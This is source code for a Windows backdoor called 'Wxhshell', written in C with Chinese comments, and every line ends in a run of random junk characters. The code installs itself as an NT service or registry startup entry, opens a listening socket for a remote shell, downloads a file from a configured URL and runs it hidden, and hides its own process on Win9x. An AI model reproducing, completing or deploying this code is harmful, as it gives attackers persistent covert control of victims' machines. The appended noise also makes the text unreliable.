ULONG InheritedFromUniqueProcessId; Nr:%yvk%s
} PROCESS_BASIC_INFORMATION; {'1e?
muKCCWy#
PROCNTQSIP NtQueryInformationProcess; TwLQ;Q
7bC)Co#:
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; { K*
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 9>hK4&m^
TxXX}6
HANDLE hProcess; m. "T3K
PROCESS_BASIC_INFORMATION pbi; El4SL'E@
i.G"21M
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); !+Us) 'L
if(NULL == hInst ) return 0; e]@R'oM?#`
w^wh|'u^_@
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); J^)=8cy
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); "=vH,_"Ql
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); y?.l9
NB?y/v
if (!NtQueryInformationProcess) return 0; z{ MO~d9
yjj)+eJ(Q
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); $|pD}
if(!hProcess) return 0; )G=hgqy
w-?|6I}T
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ua]?D2
'
CloseHandle(hProcess); {}1KI+s9\
qjI.Sr70
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); {axMS yp;
if(hProcess==NULL) return 0; G+zIh}9
FCA]zR1
HMODULE hMod; 2}jC%jR2
char procName[255]; xI(Y}>
unsigned long cbNeeded; Yo;Mexo!
l~c# X3E
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); U t'r^
N@G~+GCxL
CloseHandle(hProcess); (7J (.EG2e
G*\U'w4w|*
if(strstr(procName,"services")) return 1; // 以服务启动 /j:fc?yv
*nc9u"
return 0; // 注册表启动 $KMxq=
} 6h3TU,$r
fs;pX/:FR
// 主模块 4NxI:d$&*
int StartWxhshell(LPSTR lpCmdLine) ePxwN?
{ *e}1KcJ
SOCKET wsl; -G@:uxB
BOOL val=TRUE; _rj B.
int port=0; X>kW)c4{b
struct sockaddr_in door; kb2M3%6V
?2i\ERG?
if(wscfg.ws_autoins) Install(); I!;vy/r
YqNI:znm-
port=atoi(lpCmdLine); 5BsfbLKC
T f;:C]
if(port<=0) port=wscfg.ws_port; 3}25=%;[
n+%tu"e
WSADATA data; cLyed3uU
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 1J @43>u{
`(Ij@84
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; 7zEpuw
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); NQ qq\h
door.sin_family = AF_INET; 0FG|s#Ig
door.sin_addr.s_addr = inet_addr("127.0.0.1"); Fooa~C"
door.sin_port = htons(port); 'ghwc:Og|%
y~/i{a;1y
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { [y(AdZ0*
closesocket(wsl); c?XqSK`',Z
return 1; 0|D
l/1
} e=Teq~K
$ Ov#^wfA
if(listen(wsl,2) == INVALID_SOCKET) { VaLl$w
closesocket(wsl); 3P[u>xE
return 1; cu#s}*Ip
} Ye"#tCOEG
Wxhshell(wsl); 5x1_rjP$|
WSACleanup(); (043G[H'.
F,>-+~L=
return 0; tDwj~{a~
A.@Af+
} rJqRzF{|P6
to"[r
// 以NT服务方式启动 a-Ef$(i_
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) z }f;_NX
{ \r7gubD
DWORD status = 0; ``* !b>)
DWORD specificError = 0xfffffff; -e(,>9Q
w\2yippI
serviceStatus.dwServiceType = SERVICE_WIN32; StWF66u34&
serviceStatus.dwCurrentState = SERVICE_START_PENDING; 6kM'f}t[C
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; %eDJ]\*^X
serviceStatus.dwWin32ExitCode = 0; PP_fTacX
serviceStatus.dwServiceSpecificExitCode = 0; H]d'#1G
serviceStatus.dwCheckPoint = 0; M+Jcgb]
serviceStatus.dwWaitHint = 0; 9&p;2/H
*, RxOz2=
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); **L3T3$)
if (hServiceStatusHandle==0) return; Imm|5-qJ
#RWH k
status = GetLastError(); rm nfyn
if (status!=NO_ERROR) z(d X<
{ Mh;rhQ
serviceStatus.dwCurrentState = SERVICE_STOPPED; g1zX^^nd,V
serviceStatus.dwCheckPoint = 0; "}'Sk(
serviceStatus.dwWaitHint = 0; Q]NGd 0 J
serviceStatus.dwWin32ExitCode = status; <=7N2t)s4
serviceStatus.dwServiceSpecificExitCode = specificError; K`% I!Br
SetServiceStatus(hServiceStatusHandle, &serviceStatus); @!zT+W&
return; cA]Ch>]A%
} UZ}>@0
UOtrq=y
serviceStatus.dwCurrentState = SERVICE_RUNNING; {%Ujp9i
serviceStatus.dwCheckPoint = 0; I'%(f@u~
serviceStatus.dwWaitHint = 0; D"RxI)"HP
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); |`i.8
} :U$U:e
Vj{}cL"MR
// 处理NT服务事件,比如:启动、停止 9}DF*np`G
VOID WINAPI NTServiceHandler(DWORD fdwControl) LwL\CE_6+
{ 0nOp'Ky\k
switch(fdwControl) =gb(<`{>
{ >iIUS
case SERVICE_CONTROL_STOP: ":upo/xN
serviceStatus.dwWin32ExitCode = 0; Wy.Xx-3W
serviceStatus.dwCurrentState = SERVICE_STOPPED;
T24?1
serviceStatus.dwCheckPoint = 0; J4;Fk
serviceStatus.dwWaitHint = 0; 875BD U
{ '#faNVPABh
SetServiceStatus(hServiceStatusHandle, &serviceStatus); zu-1|XX
} N2_9V~!
return; YDMimis\H5
case SERVICE_CONTROL_PAUSE: baVSQtda
serviceStatus.dwCurrentState = SERVICE_PAUSED; J)xc mK
break; b+`mh
case SERVICE_CONTROL_CONTINUE: >4lT0~V/
serviceStatus.dwCurrentState = SERVICE_RUNNING; _Z|3qQ
break; rJ UXA<:2
case SERVICE_CONTROL_INTERROGATE: 2AZ)|dM'`
break; G,J~Ed
}; zrJ/Fs+s
SetServiceStatus(hServiceStatusHandle, &serviceStatus); |vY0[#E8&
} d|8iD`sZz
%Kq`8
// 标准应用程序主函数 &QL!Y{=Y6
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) H!NyM}jsr
{ E-_Q3^
/kY|PY
// 获取操作系统版本 @^';[P!
OsIsNt=GetOsVer(); 5V{zdS=
GetModuleFileName(NULL,ExeFile,MAX_PATH); P95A_(T=[
L)LW5%.6
// 从命令行安装 CrIt h/Z
if(strpbrk(lpCmdLine,"iI")) Install(); 'l}T_7g
~<, QxFG5
// 下载执行文件 !7O!)WJ
if(wscfg.ws_downexe) { """gV)Y
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Q< q&a8~
WinExec(wscfg.ws_filenam,SW_HIDE); "x*5g*k
} 5z>kz/uxW
k'K&GF1B
if(!OsIsNt) { '`*{ig
// 如果时win9x,隐藏进程并且设置为注册表启动 lbtVQW0V;o
HideProc(); krC4O2Fkj
StartWxhshell(lpCmdLine); ?5<